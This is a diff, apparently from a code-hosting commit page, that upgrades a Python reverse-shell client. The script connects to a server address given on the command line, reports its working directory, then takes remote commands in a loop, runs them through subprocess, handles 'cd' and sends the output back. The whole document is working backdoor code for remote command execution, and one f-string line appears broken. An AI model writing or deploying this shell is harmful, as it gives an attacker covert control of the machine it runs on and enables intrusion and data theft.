11import  socket 
2+ import  os 
23import  subprocess 
34import  sys 
45
56SERVER_HOST  =  sys .argv [1 ]
67SERVER_PORT  =  5003 
7- BUFFER_SIZE  =  1024 
8+ BUFFER_SIZE  =  1024  *  128  # 128KB max size of messages, feel free to increase 
9+ # separator string for sending 2 messages in one go 
10+ SEPARATOR  =  "<sep>" 
811
912# create the socket object 
1013s  =  socket .socket ()
1114# connect to the server 
1215s .connect ((SERVER_HOST , SERVER_PORT ))
13- 
14- # receive the greeting message 
15- message  =  s .recv (BUFFER_SIZE ).decode ()
16- print ("Server:" , message )
16+ # get the current directory 
17+ cwd  =  os .getcwd ()
18+ s .send (cwd .encode ())
1719
1820while  True :
1921    # receive the command from the server 
2022    command  =  s .recv (BUFFER_SIZE ).decode ()
23+     splited_command  =  command .split ()
2124    if  command .lower () ==  "exit" :
2225        # if the command is exit, just break out of the loop 
2326        break 
24-     # execute the command and retrieve the results 
25-     output  =  subprocess .getoutput (command )
27+     if  splited_command [0 ].lower () ==  "cd" :
28+         # cd command, change directory 
29+         try :
30+             os .chdir (' ' .join (splited_command [1 :]))
31+         except  FileNotFoundError  as  e :
32+             # if there is an error, set as the output 
33+             output  =  str (e )
34+         else :
35+             # if operation is successful, empty message 
36+             output  =  "" 
37+     else :
38+         # execute the command and retrieve the results 
39+         output  =  subprocess .getoutput (command )
40+     # get the current working directory as output 
41+     cwd  =  os .getcwd ()
2642    # send the results back to the server 
27-     s .send (output .encode ())
43+     message  =  f"{ output } { SEPARATOR } { cwd }  
44+     s .send (message .encode ())
2845# close client connection 
2946s .close ()
0 commit comments